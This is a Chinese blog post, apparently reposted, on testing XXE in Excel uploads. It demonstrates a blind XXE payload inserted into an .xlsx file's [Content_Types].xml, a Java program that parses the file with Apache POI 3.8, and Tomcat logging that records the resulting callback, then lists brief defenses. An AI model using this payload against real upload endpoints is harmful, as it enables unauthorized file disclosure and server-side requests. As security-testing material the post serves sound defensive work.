Excel中的XXE攻击

Posted kimjun

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了Excel中的XXE攻击相关的知识,希望对你有一定的参考价值。

技术图片

最近在审计某银行的Java代码时,发现许多上传Excel文件的接口,允许后缀是xslx文件,xslx文件是由xml文件组成的,可以改成.zip的文件后缀名进行解压,所以如果如果没有禁用外部实体,会存在XXE漏洞。下面的测试使用Java语言进行blind-xxe测试。

1、测试环境

解析Excel文件:poi-3.8。
因为测试没有会先,所以利用Spring Boot搭建测试网站,查看日志是否有触发漏洞。

2、修改xslx

利用360压缩打开xslx文件,找到Content_Types.xml文件,添加外部实体如下:
实体的值:

<!DOCTYPE x [ <!ENTITY xxe SYSTEM "http://127.0.0.1/test.dtd"> ]>
<x>&xxe;</x>

技术图片

3、测试代码(读取Excel文件)

package com.itkim.tool;

import org.apache.poi.xssf.usermodel.XSSFRow;
import org.apache.poi.xssf.usermodel.XSSFSheet;
import org.apache.poi.xssf.usermodel.XSSFWorkbook;

import java.io.FileInputStream;

/**
 * @description: 读取Excel文件
 * @author: KimJun
 * @date: 19.10.5 23:27
 */
public class ExcelData {

    private XSSFSheet sheet;

    /**
     * 构造函数,初始化excel数据
     *
     * @param filePath  excel路径
     * @param sheetName sheet表名
     */
    ExcelData(String filePath, String sheetName) throws Exception {
        FileInputStream fileInputStream = null;
            fileInputStream = new FileInputStream(filePath);
            XSSFWorkbook sheets = new XSSFWorkbook(fileInputStream);
            //获取sheet
            sheet = sheets.getSheet(sheetName);

    }

    //打印excel数据
    public void readExcelData() {
        //获取行数
        int rows = sheet.getPhysicalNumberOfRows();
        for (int i = 0; i < rows; i++) {
            //获取列数
            XSSFRow row = sheet.getRow(i);
            int columns = row.getPhysicalNumberOfCells();
            for (int j = 0; j < columns; j++) {
                String cell = row.getCell(j).toString();
                System.out.println(cell);
            }
        }
    }

    //测试方法
    public static void main(String[] args) throws Exception {
        ExcelData sheet1 = new ExcelData("C:UsersIDesktop	est3.xlsx", "Sheet1");
        sheet1.readExcelData();
    }
}

4、测试

在我们的resources/static目录写一个test.dtd文件,启动我们的Tomcat服务器,因为我们使用的是Spring Boot内置的Tomcat,所以我们需要在application.properproperties中设置生成日志文件的位置,然后就可以启动服务器了。

server.port=8080

server.tomcat.accesslog.enabled=true
server.tomcat.accesslog.suffix=.log
server.tomcat.accesslog.prefix=access_log
server.tomcat.accesslog.file-date-format=.yyyy-MM-dd
server.tomcat.basedir=Z:springboot-tomcat-log
server.tomcat.accesslog.directory=logs

logging.level.org.apache.tomcat=DEBUG
logging.level.org.apache.catalina=DEBUG

跑一下我们的读取Excel的程序,查看Tomcat的日志如下:
技术图片

可以看到Tomcat接收到请求,证明存在XXE漏洞。

5、防御

  • 禁用外部实体注入
  • 升级较新的jar包,进行代码审计工作

以上是关于Excel中的XXE攻击的主要内容,如果未能解决你的问题,请参考以下文章

XML注入详解 xxe注入攻击

使用 JAXB 防止 XXE 攻击

神奇的Content-Type——在JSON中玩转XXE攻击

JDK XML解析器中的XXE防御

XXE漏洞学习

XXE攻击